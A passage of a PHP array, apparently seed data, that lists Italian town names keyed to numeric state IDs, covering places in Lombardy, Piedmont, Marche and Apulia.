'caravaggio'],\n ['state_id' => '1847', 'name' => 'cardano al campo'],\n ['state_id' => '1847', 'name' => 'caronno pertusella'],\n ['state_id' => '1847', 'name' => 'carpenedolo'],\n ['state_id' => '1847', 'name' => 'carugate'],\n ['state_id' => '1847', 'name' => 'carvico'],\n ['state_id' => '1847', 'name' => 'casalmaggiore'],\n ['state_id' => '1847', 'name' => 'casalpusterlengo'],\n ['state_id' => '1847', 'name' => 'casatenovo'],\n ['state_id' => '1847', 'name' => 'casazza'],\n ['state_id' => '1847', 'name' => 'casnigo'],\n ['state_id' => '1847', 'name' => 'cassano magnago'],\n ['state_id' => '1847', 'name' => 'cassano d\\'adda'],\n ['state_id' => '1847', 'name' => 'cassina de\\' pecchi'],\n ['state_id' => '1847', 'name' => 'castano primo'],\n ['state_id' => '1847', 'name' => 'castel goffredo'],\n ['state_id' => '1847', 'name' => 'castel mella'],\n ['state_id' => '1847', 'name' => 'castellanza'],\n ['state_id' => '1847', 'name' => 'castelleone'],\n ['state_id' => '1847', 'name' => 'castelli calepio'],\n ['state_id' => '1847', 'name' => 'castenedolo'],\n ['state_id' => '1847', 'name' => 'castiglione delle stiviere'],\n ['state_id' => '1847', 'name' => 'cazzago san martino'],\n ['state_id' => '1847', 'name' => 'cene'],\n ['state_id' => '1847', 'name' => 'cermenate'],\n ['state_id' => '1847', 'name' => 'cernusco sul naviglio'],\n ['state_id' => '1847', 'name' => 'cerro maggiore'],\n ['state_id' => '1847', 'name' => 'cesano boscone'],\n ['state_id' => '1847', 'name' => 'cesano maderno'],\n ['state_id' => '1847', 'name' => 'cesate'],\n ['state_id' => '1847', 'name' => 'chiari'],\n ['state_id' => '1847', 'name' => 'cilavegna'],\n ['state_id' => '1847', 'name' => 'cinisello balsamo'],\n ['state_id' => '1847', 'name' => 'cislago'],\n ['state_id' => '1847', 'name' => 'clusone'],\n ['state_id' => '1847', 'name' => 'codogno'],\n ['state_id' => '1847', 'name' => 'cologno monzese'],\n ['state_id' => '1847', 'name' => 'cologno al serio'],\n ['state_id' => '1847', 'name' => 'como'],\n ['state_id' => '1847', 'name' => 'concesio'],\n ['state_id' => '1847', 'name' => 'concorezzo'],\n ['state_id' => '1847', 'name' => 'corbetta'],\n ['state_id' => '1847', 'name' => 'cormano'],\n ['state_id' => '1847', 'name' => 'cornaredo'],\n ['state_id' => '1847', 'name' => 'cornate d\\'adda'],\n ['state_id' => '1847', 'name' => 'corsico'],\n ['state_id' => '1847', 'name' => 'corte dei cortesi'],\n ['state_id' => '1847', 'name' => 'costa volpino'],\n ['state_id' => '1847', 'name' => 'crema'],\n ['state_id' => '1847', 'name' => 'cremona'],\n ['state_id' => '1847', 'name' => 'crocetta'],\n ['state_id' => '1847', 'name' => 'curtatone'],\n ['state_id' => '1847', 'name' => 'cusano milanino'],\n ['state_id' => '1847', 'name' => 'dalmine'],\n ['state_id' => '1847', 'name' => 'darfo'],\n ['state_id' => '1847', 'name' => 'desenzano del garda'],\n ['state_id' => '1847', 'name' => 'desio'],\n ['state_id' => '1847', 'name' => 'erba'],\n ['state_id' => '1847', 'name' => 'fagnano olona'],\n ['state_id' => '1847', 'name' => 'fino mornasco'],\n ['state_id' => '1847', 'name' => 'gaggiano'],\n ['state_id' => '1847', 'name' => 'galbiate'],\n ['state_id' => '1847', 'name' => 'gallarate'],\n ['state_id' => '1847', 'name' => 'gambolo'],\n ['state_id' => '1847', 'name' => 'garbagnate milanese'],\n ['state_id' => '1847', 'name' => 'gardone val trompia'],\n ['state_id' => '1847', 'name' => 'garlasco'],\n ['state_id' => '1847', 'name' => 'gavardo'],\n ['state_id' => '1847', 'name' => 'gavirate'],\n ['state_id' => '1847', 'name' => 'gerenzano'],\n ['state_id' => '1847', 'name' => 'ghedi'],\n ['state_id' => '1847', 'name' => 'giussano'],\n ['state_id' => '1847', 'name' => 'goito'],\n ['state_id' => '1847', 'name' => 'gonzaga'],\n ['state_id' => '1847', 'name' => 'gorgonzola'],\n ['state_id' => '1847', 'name' => 'gussago'],\n ['state_id' => '1847', 'name' => 'gussola'],\n ['state_id' => '1847', 'name' => 'induno olona'],\n ['state_id' => '1847', 'name' => 'inveruno'],\n ['state_id' => '1847', 'name' => 'inzago'],\n ['state_id' => '1847', 'name' => 'iseo'],\n ['state_id' => '1847', 'name' => 'isola dovarese'],\n ['state_id' => '1847', 'name' => 'lacchiarella'],\n ['state_id' => '1847', 'name' => 'lainate'],\n ['state_id' => '1847', 'name' => 'laveno-mombello'],\n ['state_id' => '1847', 'name' => 'lecco'],\n ['state_id' => '1847', 'name' => 'leffe'],\n ['state_id' => '1847', 'name' => 'legnano'],\n ['state_id' => '1847', 'name' => 'leno'],\n ['state_id' => '1847', 'name' => 'lentate sul seveso'],\n ['state_id' => '1847', 'name' => 'limbiate'],\n ['state_id' => '1847', 'name' => 'lissone'],\n ['state_id' => '1847', 'name' => 'locate di triulzi'],\n ['state_id' => '1847', 'name' => 'lodi'],\n ['state_id' => '1847', 'name' => 'lomazzo'],\n ['state_id' => '1847', 'name' => 'lonate pozzolo'],\n ['state_id' => '1847', 'name' => 'lonato'],\n ['state_id' => '1847', 'name' => 'luino'],\n ['state_id' => '1847', 'name' => 'lumezzane'],\n ['state_id' => '1847', 'name' => 'lurate caccivio'],\n ['state_id' => '1847', 'name' => 'magenta'],\n ['state_id' => '1847', 'name' => 'malnate'],\n ['state_id' => '1847', 'name' => 'mandello del lario'],\n ['state_id' => '1847', 'name' => 'manerbio'],\n ['state_id' => '1847', 'name' => 'mantova'],\n ['state_id' => '1847', 'name' => 'mariano comense'],\n ['state_id' => '1847', 'name' => 'martinengo'],\n ['state_id' => '1847', 'name' => 'mazzano'],\n ['state_id' => '1847', 'name' => 'meda'],\n ['state_id' => '1847', 'name' => 'mediglia'],\n ['state_id' => '1847', 'name' => 'melegnano'],\n ['state_id' => '1847', 'name' => 'melzo'],\n ['state_id' => '1847', 'name' => 'merate'],\n ['state_id' => '1847', 'name' => 'milano'],\n ['state_id' => '1847', 'name' => 'molteno'],\n ['state_id' => '1847', 'name' => 'montichiari'],\n ['state_id' => '1847', 'name' => 'monza'],\n ['state_id' => '1847', 'name' => 'morbegno'],\n ['state_id' => '1847', 'name' => 'mornago'],\n ['state_id' => '1847', 'name' => 'mortara'],\n ['state_id' => '1847', 'name' => 'muggio'],\n ['state_id' => '1847', 'name' => 'nave'],\n ['state_id' => '1847', 'name' => 'nembro'],\n ['state_id' => '1847', 'name' => 'nerviano'],\n ['state_id' => '1847', 'name' => 'nova milanese'],\n ['state_id' => '1847', 'name' => 'novate milanese'],\n ['state_id' => '1847', 'name' => 'olgiate comasco'],\n ['state_id' => '1847', 'name' => 'olgiate olona'],\n ['state_id' => '1847', 'name' => 'opera'],\n ['state_id' => '1847', 'name' => 'orzinuovi'],\n ['state_id' => '1847', 'name' => 'osio sotto'],\n ['state_id' => '1847', 'name' => 'ospitaletto'],\n ['state_id' => '1847', 'name' => 'paderno dugnano'],\n ['state_id' => '1847', 'name' => 'palazzolo sull\\'oglio'],\n ['state_id' => '1847', 'name' => 'pandino'],\n ['state_id' => '1847', 'name' => 'parabiago'],\n ['state_id' => '1847', 'name' => 'paullo'],\n ['state_id' => '1847', 'name' => 'pavia'],\n ['state_id' => '1847', 'name' => 'pero'],\n ['state_id' => '1847', 'name' => 'peschiera borromeo'],\n ['state_id' => '1847', 'name' => 'pessano con bornago'],\n ['state_id' => '1847', 'name' => 'pieve emanuele'],\n ['state_id' => '1847', 'name' => 'pioltello'],\n ['state_id' => '1847', 'name' => 'ponte nossa'],\n ['state_id' => '1847', 'name' => 'ponte san pietro'],\n ['state_id' => '1847', 'name' => 'porto mantovano'],\n ['state_id' => '1847', 'name' => 'pozzolengo'],\n ['state_id' => '1847', 'name' => 'rescaldina'],\n ['state_id' => '1847', 'name' => 'rezzato'],\n ['state_id' => '1847', 'name' => 'rho'],\n ['state_id' => '1847', 'name' => 'rivarolo mantovano'],\n ['state_id' => '1847', 'name' => 'rodano'],\n ['state_id' => '1847', 'name' => 'romano di lombardia'],\n ['state_id' => '1847', 'name' => 'rovato'],\n ['state_id' => '1847', 'name' => 'rozzano'],\n ['state_id' => '1847', 'name' => 'saletto'],\n ['state_id' => '1847', 'name' => 'salo'],\n ['state_id' => '1847', 'name' => 'samarate'],\n ['state_id' => '1847', 'name' => 'san donato milanese'],\n ['state_id' => '1847', 'name' => 'san giuliano milanese'],\n ['state_id' => '1847', 'name' => 'sant\\'angelo lodigiano'],\n ['state_id' => '1847', 'name' => 'sarezzo'],\n ['state_id' => '1847', 'name' => 'saronno'],\n ['state_id' => '1847', 'name' => 'scanzorosciate'],\n ['state_id' => '1847', 'name' => 'sedriano'],\n ['state_id' => '1847', 'name' => 'segrate'],\n ['state_id' => '1847', 'name' => 'senago'],\n ['state_id' => '1847', 'name' => 'seregno'],\n ['state_id' => '1847', 'name' => 'seriate'],\n ['state_id' => '1847', 'name' => 'sesto calende'],\n ['state_id' => '1847', 'name' => 'sesto san giovanni'],\n ['state_id' => '1847', 'name' => 'settimo milanese'],\n ['state_id' => '1847', 'name' => 'seveso'],\n ['state_id' => '1847', 'name' => 'sirmione'],\n ['state_id' => '1847', 'name' => 'solaro'],\n ['state_id' => '1847', 'name' => 'somma lombardo'],\n ['state_id' => '1847', 'name' => 'sondrio'],\n ['state_id' => '1847', 'name' => 'soresina'],\n ['state_id' => '1847', 'name' => 'sorisole'],\n ['state_id' => '1847', 'name' => 'stezzano'],\n ['state_id' => '1847', 'name' => 'stradella'],\n ['state_id' => '1847', 'name' => 'suzzara'],\n ['state_id' => '1847', 'name' => 'tirano'],\n ['state_id' => '1847', 'name' => 'tornata'],\n ['state_id' => '1847', 'name' => 'tradate'],\n ['state_id' => '1847', 'name' => 'travagliato'],\n ['state_id' => '1847', 'name' => 'treviglio'],\n ['state_id' => '1847', 'name' => 'treviolo'],\n ['state_id' => '1847', 'name' => 'trezzano sul naviglio'],\n ['state_id' => '1847', 'name' => 'trezzo'],\n ['state_id' => '1847', 'name' => 'tromello'],\n ['state_id' => '1847', 'name' => 'uboldo'],\n ['state_id' => '1847', 'name' => 'urgnano'],\n ['state_id' => '1847', 'name' => 'usmate velate'],\n ['state_id' => '1847', 'name' => 'valmadrera'],\n ['state_id' => '1847', 'name' => 'varedo'],\n ['state_id' => '1847', 'name' => 'varese'],\n ['state_id' => '1847', 'name' => 'verano brianza'],\n ['state_id' => '1847', 'name' => 'vergiate'],\n ['state_id' => '1847', 'name' => 'viadana'],\n ['state_id' => '1847', 'name' => 'vigevano'],\n ['state_id' => '1847', 'name' => 'vignate'],\n ['state_id' => '1847', 'name' => 'villa carcina'],\n ['state_id' => '1847', 'name' => 'villa guardia'],\n ['state_id' => '1847', 'name' => 'villasanta'],\n ['state_id' => '1847', 'name' => 'vimercate'],\n ['state_id' => '1847', 'name' => 'vimodrone'],\n ['state_id' => '1847', 'name' => 'virgilio'],\n ['state_id' => '1847', 'name' => 'voghera'],\n ['state_id' => '1847', 'name' => 'zibido san giacomo'],\n ['state_id' => '1847', 'name' => 'zogno'],\n ['state_id' => '1848', 'name' => 'barasso'],\n ['state_id' => '1848', 'name' => 'bergamo'],\n ['state_id' => '1848', 'name' => 'bolladello'],\n ['state_id' => '1848', 'name' => 'capergnanica'],\n ['state_id' => '1848', 'name' => 'costa masnaga'],\n ['state_id' => '1848', 'name' => 'medolago'],\n ['state_id' => '1848', 'name' => 'nibionno'],\n ['state_id' => '1848', 'name' => 'rodano'],\n ['state_id' => '1848', 'name' => 'sordio'],\n ['state_id' => '1848', 'name' => 'torre d\\'isola'],\n ['state_id' => '1848', 'name' => 'varese'],\n ['state_id' => '1848', 'name' => 'villongo'],\n ['state_id' => '1848', 'name' => 'milan'],\n ['state_id' => '1849', 'name' => 'colmurano'],\n ['state_id' => '1849', 'name' => 'monte san giusto'],\n ['state_id' => '1850', 'name' => 'castel'],\n ['state_id' => '1850', 'name' => 'gazoldo'],\n ['state_id' => '1850', 'name' => 'marmirolo'],\n ['state_id' => '1850', 'name' => 'monzambano'],\n ['state_id' => '1850', 'name' => 'ostiglia'],\n ['state_id' => '1850', 'name' => 'pegognaga'],\n ['state_id' => '1850', 'name' => 'poggio rusco'],\n ['state_id' => '1850', 'name' => 'quistello'],\n ['state_id' => '1850', 'name' => 'roverbella'],\n ['state_id' => '1850', 'name' => 'suzzara'],\n ['state_id' => '1851', 'name' => 'ancona'],\n ['state_id' => '1851', 'name' => 'ascoli piceno'],\n ['state_id' => '1851', 'name' => 'barchi'],\n ['state_id' => '1851', 'name' => 'cagli'],\n ['state_id' => '1851', 'name' => 'castelfidardo'],\n ['state_id' => '1851', 'name' => 'chiaravalle'],\n ['state_id' => '1851', 'name' => 'cingoli'],\n ['state_id' => '1851', 'name' => 'civitanova marche'],\n ['state_id' => '1851', 'name' => 'corridonia'],\n ['state_id' => '1851', 'name' => 'fabriano'],\n ['state_id' => '1851', 'name' => 'falconara marittima'],\n ['state_id' => '1851', 'name' => 'fano'],\n ['state_id' => '1851', 'name' => 'fermo'],\n ['state_id' => '1851', 'name' => 'filottrano'],\n ['state_id' => '1851', 'name' => 'folignano'],\n ['state_id' => '1851', 'name' => 'fossombrone'],\n ['state_id' => '1851', 'name' => 'grottammare'],\n ['state_id' => '1851', 'name' => 'jesi'],\n ['state_id' => '1851', 'name' => 'loreto'],\n ['state_id' => '1851', 'name' => 'macerata'],\n ['state_id' => '1851', 'name' => 'matelica'],\n ['state_id' => '1851', 'name' => 'mondavio'],\n ['state_id' => '1851', 'name' => 'mondolfo'],\n ['state_id' => '1851', 'name' => 'montappone'],\n ['state_id' => '1851', 'name' => 'montecosaro'],\n ['state_id' => '1851', 'name' => 'montegranaro'],\n ['state_id' => '1851', 'name' => 'montemarciano'],\n ['state_id' => '1851', 'name' => 'monteprandone'],\n ['state_id' => '1851', 'name' => 'morrovalle'],\n ['state_id' => '1851', 'name' => 'osimo'],\n ['state_id' => '1851', 'name' => 'pesaro'],\n ['state_id' => '1851', 'name' => 'polverigi'],\n ['state_id' => '1851', 'name' => 'porto recanati'],\n ['state_id' => '1851', 'name' => 'porto san giorgio'],\n ['state_id' => '1851', 'name' => 'porto sant\\'elpidio'],\n ['state_id' => '1851', 'name' => 'potenza picena'],\n ['state_id' => '1851', 'name' => 'recanati'],\n ['state_id' => '1851', 'name' => 'san benedetto del tronto'],\n ['state_id' => '1851', 'name' => 'san severino marche'],\n ['state_id' => '1851', 'name' => 'sant\\'elpidio a mare'],\n ['state_id' => '1851', 'name' => 'senigallia'],\n ['state_id' => '1851', 'name' => 'tolentino'],\n ['state_id' => '1851', 'name' => 'treia'],\n ['state_id' => '1851', 'name' => 'urbino'],\n ['state_id' => '1852', 'name' => 'cumiana'],\n ['state_id' => '1852', 'name' => 'giammoro'],\n ['state_id' => '1853', 'name' => 'assago'],\n ['state_id' => '1853', 'name' => 'besana in brianza'],\n ['state_id' => '1853', 'name' => 'biassono'],\n ['state_id' => '1853', 'name' => 'burago molgora'],\n ['state_id' => '1853', 'name' => 'cernusco sul naviglio'],\n ['state_id' => '1853', 'name' => 'cologno monzese'],\n ['state_id' => '1853', 'name' => 'concorezzo'],\n ['state_id' => '1853', 'name' => 'cornaredo'],\n ['state_id' => '1853', 'name' => 'cuggiono'],\n ['state_id' => '1853', 'name' => 'cusago'],\n ['state_id' => '1853', 'name' => 'foro buonaparte'],\n ['state_id' => '1853', 'name' => 'gessate'],\n ['state_id' => '1853', 'name' => 'gorgonzola'],\n ['state_id' => '1853', 'name' => 'liscate'],\n ['state_id' => '1853', 'name' => 'magenta'],\n ['state_id' => '1853', 'name' => 'milan'],\n ['state_id' => '1853', 'name' => 'noviglio'],\n ['state_id' => '1853', 'name' => 'passirana di rho'],\n ['state_id' => '1853', 'name' => 'pregnana milane'],\n ['state_id' => '1853', 'name' => 'san donato milanese'],\n ['state_id' => '1853', 'name' => 'seregno'],\n ['state_id' => '1853', 'name' => 'trezzo sull\\'adda'],\n ['state_id' => '1853', 'name' => 'tribiano'],\n ['state_id' => '1853', 'name' => 'vaprio d\\'adda'],\n ['state_id' => '1853', 'name' => 'vermezzo'],\n ['state_id' => '1854', 'name' => 'bomporto'],\n ['state_id' => '1854', 'name' => 'campogalliano'],\n ['state_id' => '1854', 'name' => 'cavezzo'],\n ['state_id' => '1854', 'name' => 'medolla'],\n ['state_id' => '1854', 'name' => 'nonantola'],\n ['state_id' => '1854', 'name' => 'san possidonio'],\n ['state_id' => '1854', 'name' => 'sassuolo'],\n ['state_id' => '1854', 'name' => 'spilamberto'],\n ['state_id' => '1855', 'name' => 'bojano'],\n ['state_id' => '1855', 'name' => 'campobasso'],\n ['state_id' => '1855', 'name' => 'cantalupo'],\n ['state_id' => '1855', 'name' => 'isernia'],\n ['state_id' => '1855', 'name' => 'termoli'],\n ['state_id' => '1855', 'name' => 'venafro'],\n ['state_id' => '1857', 'name' => 'montenegro'],\n ['state_id' => '1859', 'name' => 'forio d\\'ischia'],\n ['state_id' => '1860', 'name' => 'bogogno'],\n ['state_id' => '1860', 'name' => 'invorio'],\n ['state_id' => '1860', 'name' => 'pombia'],\n ['state_id' => '1861', 'name' => 'bagnoli di sopra'],\n ['state_id' => '1861', 'name' => 'bovolenta'],\n ['state_id' => '1861', 'name' => 'casale di scodosia'],\n ['state_id' => '1861', 'name' => 'cervarese santa croce'],\n ['state_id' => '1861', 'name' => 'fontaniva'],\n ['state_id' => '1861', 'name' => 'galliera veneta'],\n ['state_id' => '1861', 'name' => 'legnaro'],\n ['state_id' => '1861', 'name' => 'limena'],\n ['state_id' => '1861', 'name' => 'loreggia'],\n ['state_id' => '1861', 'name' => 'massanzago'],\n ['state_id' => '1861', 'name' => 'onara'],\n ['state_id' => '1861', 'name' => 'ponso'],\n ['state_id' => '1861', 'name' => 'portogallo'],\n ['state_id' => '1861', 'name' => 'tribano'],\n ['state_id' => '1862', 'name' => 'baganzola'],\n ['state_id' => '1862', 'name' => 'busseto'],\n ['state_id' => '1862', 'name' => 'casale di mezzani'],\n ['state_id' => '1862', 'name' => 'fontevivo'],\n ['state_id' => '1862', 'name' => 'solignano'],\n ['state_id' => '1862', 'name' => 'torrile'],\n ['state_id' => '1863', 'name' => 'codevilla'],\n ['state_id' => '1863', 'name' => 'marcignago'],\n ['state_id' => '1863', 'name' => 'pavia'],\n ['state_id' => '1863', 'name' => 'siziano'],\n ['state_id' => '1864', 'name' => 'pianello'],\n ['state_id' => '1864', 'name' => 'ponte felcino'],\n ['state_id' => '1864', 'name' => 'zanica'],\n ['state_id' => '1865', 'name' => 'gradara'],\n ['state_id' => '1865', 'name' => 'monte porzio'],\n ['state_id' => '1865', 'name' => 'pergola'],\n ['state_id' => '1865', 'name' => 'tavullia'],\n ['state_id' => '1866', 'name' => 'alseno'],\n ['state_id' => '1866', 'name' => 'gossolengo'],\n ['state_id' => '1866', 'name' => 'vigolzone'],\n ['state_id' => '1867', 'name' => 'armeno'],\n ['state_id' => '1867', 'name' => 'bergamasco'],\n ['state_id' => '1867', 'name' => 'caselette'],\n ['state_id' => '1867', 'name' => 'rosta'],\n ['state_id' => '1867', 'name' => 'san damiano'],\n ['state_id' => '1867', 'name' => 'spinetta marengo'],\n ['state_id' => '1868', 'name' => 'acqui terme'],\n ['state_id' => '1868', 'name' => 'alba'],\n ['state_id' => '1868', 'name' => 'alessandria'],\n ['state_id' => '1868', 'name' => 'alpignano'],\n ['state_id' => '1868', 'name' => 'andezeno'],\n ['state_id' => '1868', 'name' => 'andonno'],\n ['state_id' => '1868', 'name' => 'arona'],\n ['state_id' => '1868', 'name' => 'asti'],\n ['state_id' => '1868', 'name' => 'avigliana'],\n ['state_id' => '1868', 'name' => 'baveno'],\n ['state_id' => '1868', 'name' => 'beinasco'],\n ['state_id' => '1868', 'name' => 'bellinzago novarese'],\n ['state_id' => '1868', 'name' => 'biella'],\n ['state_id' => '1868', 'name' => 'borgaro torinese'],\n ['state_id' => '1868', 'name' => 'borgo san dalmazzo'],\n ['state_id' => '1868', 'name' => 'borgomanero'],\n ['state_id' => '1868', 'name' => 'borgosesia'],\n ['state_id' => '1868', 'name' => 'boves'],\n ['state_id' => '1868', 'name' => 'bra'],\n ['state_id' => '1868', 'name' => 'busca'],\n ['state_id' => '1868', 'name' => 'cameri'],\n ['state_id' => '1868', 'name' => 'canelli'],\n ['state_id' => '1868', 'name' => 'carignano'],\n ['state_id' => '1868', 'name' => 'carmagnola'],\n ['state_id' => '1868', 'name' => 'casale monferrato'],\n ['state_id' => '1868', 'name' => 'caselle torinese'],\n ['state_id' => '1868', 'name' => 'castellamonte'],\n ['state_id' => '1868', 'name' => 'castelletto sopra ticino'],\n ['state_id' => '1868', 'name' => 'chieri'],\n ['state_id' => '1868', 'name' => 'chivasso'],\n ['state_id' => '1868', 'name' => 'cirie'],\n ['state_id' => '1868', 'name' => 'collegno'],\n ['state_id' => '1868', 'name' => 'cossato'],\n ['state_id' => '1868', 'name' => 'cuneo'],\n ['state_id' => '1868', 'name' => 'cuorgne'],\n ['state_id' => '1868', 'name' => 'domodossola'],\n ['state_id' => '1868', 'name' => 'druento'],\n ['state_id' => '1868', 'name' => 'fossano'],\n ['state_id' => '1868', 'name' => 'galliate'],\n ['state_id' => '1868', 'name' => 'gassino torinese'],\n ['state_id' => '1868', 'name' => 'gattinara'],\n ['state_id' => '1868', 'name' => 'giaveno'],\n ['state_id' => '1868', 'name' => 'grugliasco'],\n ['state_id' => '1868', 'name' => 'ivrea'],\n ['state_id' => '1868', 'name' => 'leini'],\n ['state_id' => '1868', 'name' => 'lusigliãƒâ¨'],\n ['state_id' => '1868', 'name' => 'marano ticino'],\n ['state_id' => '1868', 'name' => 'mergozzo'],\n ['state_id' => '1868', 'name' => 'moncalieri'],\n ['state_id' => '1868', 'name' => 'mondovi'],\n ['state_id' => '1868', 'name' => 'mongrando'],\n ['state_id' => '1868', 'name' => 'nichelino'],\n ['state_id' => '1868', 'name' => 'nizza monferrato'],\n ['state_id' => '1868', 'name' => 'novara'],\n ['state_id' => '1868', 'name' => 'novi ligure'],\n ['state_id' => '1868', 'name' => 'oleggio'],\n ['state_id' => '1868', 'name' => 'omegna'],\n ['state_id' => '1868', 'name' => 'orbassano'],\n ['state_id' => '1868', 'name' => 'ovada'],\n ['state_id' => '1868', 'name' => 'pianezza'],\n ['state_id' => '1868', 'name' => 'pinerolo'],\n ['state_id' => '1868', 'name' => 'pino torinese'],\n ['state_id' => '1868', 'name' => 'piossasco'],\n ['state_id' => '1868', 'name' => 'poirino'],\n ['state_id' => '1868', 'name' => 'racconigi'],\n ['state_id' => '1868', 'name' => 'rivalta di torino'],\n ['state_id' => '1868', 'name' => 'rivarolo canavese'],\n ['state_id' => '1868', 'name' => 'rivoli'],\n ['state_id' => '1868', 'name' => 'saluzzo'],\n ['state_id' => '1868', 'name' => 'san maurizio'],\n ['state_id' => '1868', 'name' => 'san mauro torinese'],\n ['state_id' => '1868', 'name' => 'sandigliano'],\n ['state_id' => '1868', 'name' => 'santena'],\n ['state_id' => '1868', 'name' => 'santhia'],\n ['state_id' => '1868', 'name' => 'savigliano'],\n ['state_id' => '1868', 'name' => 'settimo torinese'],\n ['state_id' => '1868', 'name' => 'torino'],\n ['state_id' => '1868', 'name' => 'tortona'],\n ['state_id' => '1868', 'name' => 'trecate'],\n ['state_id' => '1868', 'name' => 'trofarello'],\n ['state_id' => '1868', 'name' => 'valduggia'],\n ['state_id' => '1868', 'name' => 'valenza'],\n ['state_id' => '1868', 'name' => 'venaria reale'],\n ['state_id' => '1868', 'name' => 'verbania'],\n ['state_id' => '1868', 'name' => 'vercelli'],\n ['state_id' => '1868', 'name' => 'vigliano biellese'],\n ['state_id' => '1868', 'name' => 'vinovo'],\n ['state_id' => '1868', 'name' => 'volpiano'],\n ['state_id' => '1869', 'name' => 'perignano'],\n ['state_id' => '1869', 'name' => 'ponte a egola'],\n ['state_id' => '1870', 'name' => 'san quirino'],\n ['state_id' => '1871', 'name' => 'latronico'],\n ['state_id' => '1872', 'name' => 'acquaviva delle fonti'],\n ['state_id' => '1872', 'name' => 'adelfia'],\n ['state_id' => '1872', 'name' => 'alberobello'],\n ['state_id' => '1872', 'name' => 'altamura'],\n ['state_id' => '1872', 'name' => 'andria'],\n ['state_id' => '1872', 'name' => 'apricena'],\n ['state_id' => '1872', 'name' => 'aradeo'],\n ['state_id' => '1872', 'name' => 'bari'],\n ['state_id' => '1872', 'name' => 'barletta'],\n ['state_id' => '1872', 'name' => 'bisceglie'],\n ['state_id' => '1872', 'name' => 'bitetto'],\n ['state_id' => '1872', 'name' => 'bitonto'],\n ['state_id' => '1872', 'name' => 'bitritto'],\n ['state_id' => '1872', 'name' => 'brindisi'],\n ['state_id' => '1872', 'name' => 'campi salentina'],\n ['state_id' => '1872', 'name' => 'canosa di puglia'],\n ['state_id' => '1872', 'name' => 'capurso'],\n ['state_id' => '1872', 'name' => 'carmiano'],\n ['state_id' => '1872', 'name' => 'carovigno'],\n ['state_id' => '1872', 'name' => 'casamassima'],\n ['state_id' => '1872', 'name' => 'casarano'],\n ['state_id' => '1872', 'name' => 'cassano delle murge'],\n ['state_id' => '1872', 'name' => 'castellana grotte'],\n ['state_id' => '1872', 'name' => 'castellaneta'],\n ['state_id' => '1872', 'name' => 'cavallino'],\n ['state_id' => '1872', 'name' => 'ceglie messapica'],\n ['state_id' => '1872', 'name' => 'cerignola'],\n ['state_id' => '1872', 'name' => 'cisternino'],\n ['state_id' => '1872', 'name' => 'conversano'],\n ['state_id' => '1872', 'name' => 'copertino'],\n ['state_id' => '1872', 'name' => 'corato'],\n ['state_id' => '1872', 'name' => 'crispiano'],\n ['state_id' => '1872', 'name' => 'cutrofiano'],\n ['state_id' => '1872', 'name' => 'erchie'],\n ['state_id' => '1872', 'name' => 'fasano'],\n ['state_id' => '1872', 'name' => 'foggia'],\n ['state_id' => '1872', 'name' => 'francavilla fontana'],\n ['state_id' => '1872', 'name' => 'galatina'],\n ['state_id' => '1872', 'name' => 'galatone'],\n ['state_id' => '1872', 'name' => 'gallipoli'],\n ['state_id' => '1872', 'name' => 'ginosa'],\n ['state_id' => '1872', 'name' => 'gioia del colle'],\n ['state_id' => '1872', 'name' => 'giovinazzo'],\n ['state_id' => '1872', 'name' => 'gravina in puglia'],\n ['state_id' => '1872', 'name' => 'grottaglie'],\n ['state_id' => '1872', 'name' => 'grumo appula'],\n ['state_id' => '1872', 'name' => 'laterza'],\n ['state_id' => '1872', 'name' => 'latiano'],\n ['state_id' => '1872', 'name' => 'lecce'],\n ['state_id' => '1872', 'name' => 'leverano'],\n ['state_id' => '1872', 'name' => 'lizzanello'],\n ['state_id' => '1872', 'name' => 'lizzano'],\n ['state_id' => '1872', 'name' => 'locorotondo'],\n ['state_id' => '1872', 'name' => 'lucera'],\n ['state_id' => '1872', 'name' => 'maglie'],\n ['state_id' => '1872', 'name' => 'manduria'],\n ['state_id' => '1872', 'name' => 'manfredonia'],\n ['state_id' => '1872', 'name' => 'margherita di savoia'],\n ['state_id' => '1872', 'name' => 'martano'],\n ['state_id' => '1872', 'name' => 'martina franca'],\n ['state_id' => '1872', 'name' => 'massafra'],\n ['state_id' => '1872', 'name' => 'matino'],\n ['state_id' => '1872', 'name' => 'melendugno'],\n ['state_id' => '1872', 'name' => 'mesagne'],\n ['state_id' => '1872', 'name' => 'minervino murge'],\n ['state_id' => '1872', 'name' => 'modugno'],\n ['state_id' => '1872', 'name' => 'mola di bari'],\n ['state_id' => '1872', 'name' => 'molfetta'],\n ['state_id' => '1872', 'name' => 'monopoli'],\n ['state_id' => '1872', 'name' => 'monte sant\\'angelo'],\n ['state_id' => '1872', 'name' => 'monteroni di lecce'],\n ['state_id' => '1872', 'name' => 'mottola'],\n ['state_id' => '1872', 'name' => 'nardo'],\n ['state_id' => '1872', 'name' => 'neviano'],\n ['state_id' => '1872', 'name' => 'noci'],\n ['state_id' => '1872', 'name' => 'noicattaro'],\n ['state_id' => '1872', 'name' => 'novoli'],\n ['state_id' => '1872', 'name' => 'oria'],\n ['state_id' => '1872', 'name' => 'orta nova'],\n ['state_id' => '1872', 'name' => 'ostuni'],\n ['state_id' => '1872', 'name' => 'palagiano'],\n ['state_id' => '1872', 'name' => 'palo del colle'],\n ['state_id' => '1872', 'name' => 'parabita'],\n ['state_id' => '1872', 'name' => 'polignano a mare'],\n ['state_id' => '1872', 'name' => 'pulsano'],\n ['state_id' => '1872', 'name' => 'putignano'],\n ['state_id' => '1872', 'name' => 'putignano,'],\n ['state_id' => '1872', 'name' => 'racale'],\n ['state_id' => '1872', 'name' => 'ruffano'],\n ['state_id' => '1872', 'name' => 'rutigliano'],\n ['state_id' => '1872', 'name' => 'ruvo di puglia'],\n ['state_id' => '1872', 'name' => 'salice salentino'],\n ['state_id' => '1872', 'name' => 'san ferdinando di puglia'],\n ['state_id' => '1872', 'name' => 'san giorgio ionico'],\n ['state_id' => '1872', 'name' => 'san giovanni rotondo'],\n ['state_id' => '1872', 'name' => 'san marco in lamis'],\n ['state_id' => '1872', 'name' => 'san marzano di san giuseppe'],\n ['state_id' => '1872', 'name' => 'san nicandro garganico'],\n ['state_id' => '1872', 'name' => 'san pancrazio salentino'],\n ['state_id' => '1872', 'name' => 'san pietro vernotico'],\n ['state_id' => '1872', 'name' => 'san severo'],\n ['state_id' => '1872', 'name' => 'san vito dei normanni'],\n ['state_id' => '1872', 'name' => 'sannicandro di bari'],\n ['state_id' => '1872', 'name' => 'santeramo in colle'],\n ['state_id' => '1872', 'name' => 'sava'],\n ['state_id' => '1872', 'name' => 'squinzano'],\n ['state_id' => '1872', 'name' => 'statte'],\n ['state_id' => '1872', 'name' => 'surbo'],\n ['state_id' => '1872', 'name' 